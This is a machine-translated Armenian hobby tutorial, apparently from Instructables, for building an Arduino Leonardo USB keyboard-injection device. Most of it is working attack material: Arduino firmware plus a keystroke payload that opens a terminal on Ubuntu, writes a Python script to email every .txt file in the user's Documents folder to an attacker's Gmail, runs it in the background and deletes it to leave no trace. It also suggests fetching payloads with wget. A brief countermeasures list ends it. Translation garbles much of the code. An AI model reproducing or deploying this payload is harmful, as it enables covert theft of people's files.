![Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով) Arduino ստեղնաշարի շահագործման ցուցադրում (HID) և կանխարգելում. 4 քայլ (նկարներով)](https://i.howwhatproduce.com/images/001/image-768-43-j.webp)
Բովանդակություն:
2025 Հեղինակ: John Day | [email protected]. Վերջին փոփոխված: 2025-01-23 14:48
![Image Image](https://i.howwhatproduce.com/images/001/image-768-45-j.webp)
![](https://i.ytimg.com/vi/PsYTfWgX3eU/hqdefault.jpg)
![Սարքի կառուցում Սարքի կառուցում](https://i.howwhatproduce.com/images/001/image-768-46-j.webp)
Այս նախագծում մենք կօգտագործենք arduino leonardo ՝ հնարավոր USB հարձակումը մոդելավորելու համար ՝ օգտագործելով HID (մարդկային ինտերֆեյսի սարք):
Ես ստեղծել եմ այս ձեռնարկը ոչ թե հակերներին օգնելու համար, այլ ձեզ ցույց տալու իրական վտանգներ և ինչպես պաշտպանել ձեր անձը այդ վտանգներից: Այս սարքը դա սարք չէ, որը կարող է օգտագործվել հակերների համար ցանկացած հարթակում, դա ավելի մանրամասն հասկացության ապացույց է:
Մենք սովորելու ենք հետևյալը
- ինչպես օգտագործել arduino leonardo ստեղնաշարը ընդօրինակելու համար
- ինչպես կարդալ տվյալները SD քարտերից
- ինչպես ստեղծել պիթոնի սցենար, որը սկանավորում է ֆայլերը և ուղարկում դրանք էլ
- ինչպես պաշտպանվել ինքներդ ձեզ USB կոտրիչ սարքերից
Քայլ 1: Նյութեր
Մասեր:
1. Արդուինո Լեոնարդո
2. միկրո USB քարտի ընթերցող
3. մի քանի ԳԲ SD քարտ
4. այսպիսի կոճակ (VCC, Ground և ազդանշան)
5. իգական-արական և իգական-էգ ցատկող մալուխներ
6. միկրո USB USB մալուխ
Քայլ 2: Սարքի կառուցում
![Սարքի կառուցում Սարքի կառուցում](https://i.howwhatproduce.com/images/001/image-768-47-j.webp)
Նախքան շենքի հրահանգը եկեք վերանայենք աշխատանքի սկզբունքը
Arduino leonardo- ն կարող է իրեն պահել որպես մարդու միջերեսի սարք (HID) և, հետևաբար, կարող է ընդօրինակել մկնիկը և ստեղնաշարը: Մենք կօգտագործենք այս հնարավորությունը տերմինալ բացելու համար (UBUNTU linux- ում) և գրելու փոքր սցենար, որը մուտք կգործի User Document թղթապանակի ներսում գտնվող փաստաթղթեր: պատճենեք.txt ֆայլերն այնտեղ և ուղարկեք դրանք ինչ -որ մեկին: Եթե ցանկանում եք ավելի շատ մանրամասներ իմանալ, ստուգեք հաջորդ քայլը:
Քանի որ դա ցուցադրական սարք է, ամեն ինչ իսկապես պարզ է, մենք ոչինչ չենք կպցնելու:
Շինարարության հրահանգներ
Նախքան սկսելը ստուգեք կցված ֆայլերը, ես կցել եմ ցնցող սխեմաներ և բոլոր անհրաժեշտ ֆայլերը
1. Հավաքեք բաղադրիչները
* միացրեք միկրո USB մալուխը arduino- ին
* միացրեք բանալին arduino- ին (հիմք, vcc և ելքային մոդուլ D8- ին)
* միացրեք քարտի ընթերցողը arduino- ին (օգտագործելով ICSP վերնագիրը): Arduino leonardo- ն չունի ICSP վերնագիր, որը միացված է թվային կապում, այնպես որ ձեզ հարկավոր է քարտի ընթերցողը միացնել ICSP- ի վերնագրին: ICSP- ի որոշ գծանկարներ կարող եք գտնել այստեղ ՝ https://learn.sparkfun.com/tutorials/installing-an…: Միացրեք SS կապը թվային կապին 10
2. ստացեք arduino կոդը, կարող եք իմ arduino պահեստը կլոնավորել github- ում ՝ https://github.com/danionescu0/arduino և գնալ նախագծեր/keyboard_exploit կամ ստանալ այն ներքևից.
#ներառել "Keyboard.h"
#ներառել "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Քուն::"; String commandStartingPoint = "Հրաման::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = Բարձր; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); եթե (! SD.begin (chipSelect)) {Serial.println («Քարտը ձախողվեց, կամ ներկա չէ»); վերադարձ; }} void loop () {int buttonState = digitalRead (buttonPin); եթե ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Վերբեռնված է»); ուշացում (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); եթե (! dataFile) {Serial.println ("Նշված ֆայլի անունը SD քարտում չկա, ստուգեք filenameOnCard!"); } Լարային գիծ; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (տող); sendToKeyboard (տող); } dataFile.close (); } void sendToKeyboard (Լարային տող) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (տող); վերադարձ; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (տող); pressEnter (); վերադարձ; } Serial.println ("Հրաման."); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Լարային հրաման = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (command); Keyboard.press (getCommandCode (հրաման)); ուշացում (delayBetweenCommands); }} Keyboard.releaseAll (); ուշացում (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Լարային տող) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print («Sleeping for:»); Serial.println (sleepAmount); ուշացում (sleepAmount); } char getCommandCode (Լարային տեքստ) {char textCharacters [2]; text.toCharArray (տեքստային կերպարներ, 2); char կոդը = textCharacters [0]; ծածկագիր = (տեքստ == "KEY_LEFT_CTRL"): KEY_LEFT_CTRL: կոդ; ծածկագիր = (տեքստ == "KEY_LEFT_SHIFT"): KEY_LEFT_SHIFT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ALT"): KEY_LEFT_ALT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_UP_ARROW"): KEY_UP_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_DOWN_ARROW"): KEY_DOWN_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ARROW"): KEY_LEFT_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_RIGHT_ARROW"): KEY_RIGHT_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_RIGHT_GUI"): KEY_RIGHT_GUI: ծածկագիր; ծածկագիր = (տեքստ == "KEY_BACKSPACE"): KEY_BACKSPACE: կոդ; ծածկագիր = (տեքստ == "KEY_TAB"): KEY_TAB: կոդ; ծածկագիր = (տեքստ == "KEY_RETURN"): KEY_RETURN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_ESC"): KEY_ESC ՝ ծածկագիր; ծածկագիր = (տեքստ == "KEY_INSERT"): KEY_INSERT: կոդ; ծածկագիր = (տեքստ == "KEY_DELETE"): KEY_DELETE: կոդ; ծածկագիր = (տեքստ == "KEY_PAGE_UP"): KEY_PAGE_UP: ծածկագիր; ծածկագիր = (տեքստ == "KEY_PAGE_DOWN"): KEY_PAGE_DOWN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_HOME"): KEY_HOME: կոդ; ծածկագիր = (տեքստ == "KEY_END"): KEY_END: կոդ; ծածկագիր = (տեքստ == "KEY_CAPS_LOCK"): KEY_CAPS_LOCK: կոդ; ծածկագիր = (տեքստ == "KEY_F1"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F2"): KEY_F2: կոդ; ծածկագիր = (տեքստ == "KEY_F3"): KEY_F3: կոդ; ծածկագիր = (տեքստ == "KEY_F4"): KEY_F4: կոդ; ծածկագիր = (տեքստ == "KEY_F5"): KEY_F5: կոդ; ծածկագիր = (տեքստ == "KEY_F6"): KEY_F6: կոդ; ծածկագիր = (տեքստ == "KEY_F7"): KEY_F7: կոդ; ծածկագիր = (տեքստ == "KEY_F8"): KEY_F8: կոդ; ծածկագիր = (տեքստ == "KEY_F9"): KEY_F9: կոդ; ծածկագիր = (տեքստ == "KEY_F10"): KEY_F10: կոդ; ծածկագիր = (տեքստ == "KEY_F11"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F12"): KEY_F2: կոդ;
վերադարձի ծածկագիր;
}
3. Վերբեռնեք կոդը arduino- ում, համոզվեք, որ ընտրեք 9600 baud rate, սերիական նավահանգիստ և arduino leonardo
4. Ձևաչափեք sd քարտը ՝ օգտագործելով FAT16 կամ FAT32
5. Եթե վերևից եք կլոնավորել github- ի ռեպոն, պատճենեք hack.txt ֆայլը քարտի վրա, եթե ոչ, ֆայլը նշված է ստորև
Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT ներմուծել smtplib ներմուծման գլոբուս, os.path- ից ՝ էլ. Փոստից ներմուծել: MIMEText ներմուծում MIMEText էլփոստից: Մինչև ներմուծում COMMASPACE, ձևաչափ ՝ էլ. Փոստի ներմուծման կոդավորիչներից
smtp_user = 'ուղարկող_գmail_հասցե'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Փաստաթղթեր'
subject = body = 'Ֆայլեր կոտրված համակարգչից'
header = 'Դեպի ՝ {0} n From: {1} n Subject: {2} n'.format (to_address, smtp_user, subject)
def sendMail (հասցեին, թեմային, տեքստին, ֆայլերին = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (տեքստ)) ֆայլերի ֆայլերի համար. Մաս = MIMEBase («ծրագիր», «octet-stream») part.set_payload (բաց (ֆայլ, «rb»): կարդալ ()) Encoders.encode_base64 (մաս) մաս: add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (ֆայլ)) msg.attach (մաս)
սերվեր = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([հասցեին], թեմա, մարմին, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Քուն:: 50 հրաման:: KEY_ESC Քուն:: 100: x Քուն:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Խմբագրել հետևյալ տողերը
smtp_user = 'ուղարկող_փոստ_հասցե'
smtp_pass = 'ուղարկողի_բառ' to_address = 'receiver_address'
Եվ փոխարինեք ձեր էլփոստի հասցեներով
7. Հեռացրեք քարտը և տեղադրեք այն arduino քարտի ընթերցողի մեջ
Քայլ 3: Ինչպես է այն աշխատում մանրամասների մեջ
Ինչպես կաշխատի հարձակումը
1. Երբ կոճակը սեղմված է, լեոնարդոն կկարդա sd քարտը `օգտագործելով SD քարտի ընթերցող: Քարտի վրա կլինի բանալիներ և բանալիների համադրություն պարունակող հատուկ ֆայլ: Ֆայլի անունն է «hack.txt»:
Ֆայլը կարող է պարունակել հում տեքստ, և այն կփոխանցվի ստեղնաշարին այնպես, ինչպես կա:
Նաև այն կարող է պարունակել հատուկ հրամաններ, ինչպիսիք են «Քնել::» և «Հրաման::»:
Նման տող.
Երազ:: 200 նշանակում է 200 մգ քուն
Նման տող.
Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t նշանակում է ձախ ctrl սեղմված, ձախ alt սեղմված, t սեղմված և բոլորը թողարկված
Բոլոր հատուկ բանալիները կարող եք ստուգել այստեղ ՝
2. Լեոնարդոն կարդալու է տող առ տող, և մեկնաբանելու է հրամանները և ընդօրինակելու է ստեղնաշարի ստեղները: «Hack.txt» ֆայլը պարունակում է ստեղների համադրություն, որը կատարում է հետևյալը (UBUNTU linux- ի համար).
ա բացում է տերմինալ (CTRL + ALT + T)
բ. բացում է python ֆայլ vi- ի միջոցով ստեղծելու համար (գրում է «vi hack.py»
գ. ներսում գրում է պիթոնի սցենար, որը հավաքում է փաստաթղթերի տնային թղթապանակի բոլոր տեքստային ֆայլերը և դրանք ուղարկում որոշակի gmail հասցեով
դ. գործարկում է ֆայլը հետին պլանում ("nohup python hack.py &")
ե. ջնջում է ֆայլը (rm -rf hack.py)
զ փակում է տերմինալը (ALT + F4)
Այս ամբողջը անցնում է մի քանի վայրկյանում և հետքեր չի թողնում:
Բարելավումներ և անսարքությունների վերացում
* Դուք կարող եք նկատել, որ տերմինալ բացելուց հետո ես գրում եմ պիթոնի ֆայլը: դրան հասնելու ավելի լավ միջոց կլինի այն ինչ -որ տեղ հյուրընկալելը և ներբեռնելը `օգտագործելով« wget some_url »հրամանը, այնուհետև այն վերանվանել hack.py
* Նաև մենք կարող ենք ներբեռնել կամ գործարկել պատրաստի շահագործում նպատակային օպերացիոն համակարգի համար
* wifi- ն կարող է ավելացվել մոդուլին, իսկ հաքերը կարող են վերբեռնվել WIFI- ի միջոցով
* կարող եք օգտագործել arduino micro (որը շատ ավելի փոքր է) և դրա վրա տեղադրել շահագործման կոդ (այն փոքրացնելու համար)
Սահմանափակումներ
1. Քանի որ մոդելավորված սարքը (ստեղնաշար և մկնիկ) հետադարձ կապ չունի, մենք չգիտենք, թե ինչ կլինի հրաման արձակելուց հետո, ինչը նշանակում է, որ մենք պետք է օգտագործենք ուշացումներ: Օրինակ, ես տերմինալ բացելու հրաման եմ տալիս, բայց չգիտեմ, թե երբ է այն իրականում բաց, ուստի պետք է կամայական հետաձգում նշեմ, որպեսզի հետագայում մուտքագրված նիշերը չկորչեն:
2. Մենք կարող ենք բախվել թույլտվության խնդիրների, ինչպիսիք են USB պորտին մուտք չունենալը կամ ինչ -որ բան տեղադրելու թույլտվությունը
3. Լեոնարդոյի վրա մեքենագրման արագությունը այնքան էլ մեծ չէ
4. Աշխատելու է միայն նպատակային օպերացիոն համակարգի վրա (մեր դեպքում UBUNTU linux)
Հաջորդ քայլում կփորձենք գտնել այս սահմանափակումները շահագործելու եղանակներ `կանխելու մեր համակարգչի կոտրումը
Քայլ 4: Հակաքայլեր
1. USB պորտերի անջատում
-պատուհանների համար կարող եք ստուգել այս ձեռնարկը ՝
2. Սպիտակ ցուցակի USB սարքեր.
- պատուհանների համար ՝
2. Կողպեք ձեր համակարգիչը, երբ բացակայում եք
3. Մի մուտք գործեք որպես արմատ (գաղտնաբառեր պահանջեք որևէ բան տեղադրելու համար)
4. Տեղեկացրեք ինքներդ ձեզ (ավտոմատ թարմացումները միացված են)
Խորհուրդ ենք տալիս:
Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում `4 քայլ
![Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում `4 քայլ Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում `4 քայլ](https://i.howwhatproduce.com/images/003/image-6993-8-j.webp)
Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում. Այս նախագիծը նախատեսված է mac օգտագործողների համար, բայց այն կարող է իրականացվել նաև Linux- ի և Windows- ի համար, միակ քայլը, որը պետք է տարբերվի, տեղադրումն է:
Երկակի 7 հատվածից բաղկացած ցուցադրում, որը վերահսկվում է շրջանագծի պոտենցիոմետրով Python - Տեսողության համառության ցուցադրում. 9 քայլ (նկարներով)
![Երկակի 7 հատվածից բաղկացած ցուցադրում, որը վերահսկվում է շրջանագծի պոտենցիոմետրով Python - Տեսողության համառության ցուցադրում. 9 քայլ (նկարներով) Երկակի 7 հատվածից բաղկացած ցուցադրում, որը վերահսկվում է շրջանագծի պոտենցիոմետրով Python - Տեսողության համառության ցուցադրում. 9 քայլ (նկարներով)](https://i.howwhatproduce.com/images/003/image-7977-16-j.webp)
Երկակի 7 հատվածից բաղկացած ցուցադրումներ, որոնք վերահսկվում են շրջանագծի պոտենցիոմետրով: Python-Տեսողության համառության դրսևորում. Այս նախագիծը օգտագործում է պոտենցիոմետր `7 սեգմենտանոց LED էկրանների (F5161AH) ցուցադրումը վերահսկելու համար: Պոտենցիոմետրի բռնիչը պտտելիս ցուցադրվող թիվը փոխվում է 0 -ից 99 -ի սահմաններում: momentանկացած պահի վառվում է միայն մեկ LED, շատ կարճ, բայց
Հեծանիվ էներգիայի ցուցադրում (շահագործման հրահանգներ) ՝ 4 քայլ
![Հեծանիվ էներգիայի ցուցադրում (շահագործման հրահանգներ) ՝ 4 քայլ Հեծանիվ էներգիայի ցուցադրում (շահագործման հրահանգներ) ՝ 4 քայլ](https://i.howwhatproduce.com/images/005/image-12408-19-j.webp)
Հեծանիվների էներգիայի ցուցադրում (շահագործման հրահանգներ). Այս հրահանգը հեծանիվների էներգիայի ցուցադրման գործառնական հրահանգն է: Կառուցվածքի հղումը ներառված է ստորև ՝ https: //www.instructables.com/id/Bicycle-Energy-Demo-Build
Ստեղնաշարի ինտերֆեյս 8051 -ով և Ստեղնաշարի համարների ցուցադրում 7 հատվածում. 4 քայլ (նկարներով)
![Ստեղնաշարի ինտերֆեյս 8051 -ով և Ստեղնաշարի համարների ցուցադրում 7 հատվածում. 4 քայլ (նկարներով) Ստեղնաշարի ինտերֆեյս 8051 -ով և Ստեղնաշարի համարների ցուցադրում 7 հատվածում. 4 քայլ (նկարներով)](https://i.howwhatproduce.com/images/003/image-8936-8-j.webp)
Ստեղնաշարի ինտերֆեյս 8051 -ով և 7 հատվածով ստեղնաշարի թվերի ցուցադրում. Այս ձեռնարկում ես ձեզ կասեմ, թե ինչպես կարող ենք ստեղնաշարը միացնել 8051 -ին և ստեղնաշարի համարները ցուցադրել 7 հատվածի էկրանով:
Կյանքի չափի շահագործման խաղ. 14 քայլ (նկարներով)
![Կյանքի չափի շահագործման խաղ. 14 քայլ (նկարներով) Կյանքի չափի շահագործման խաղ. 14 քայլ (նկարներով)](https://i.howwhatproduce.com/images/003/image-7273-66-j.webp)
Կյանքի չափի շահագործման խաղ. Մանկության տարիներին ես սիրում էի Միլթոն Բրեդլիի գործողության խաղը, բզզոցը միշտ վախեցնում էր ինձ, երբ այն անջատվում էր, բայց դա զվարճալի էր: Գործողության խաղի նպատակն է հեռացնել մարմնի մի հատված ՝ պինցետը դիպչելով օբյեկտին շրջապատող մետաղական կողմերին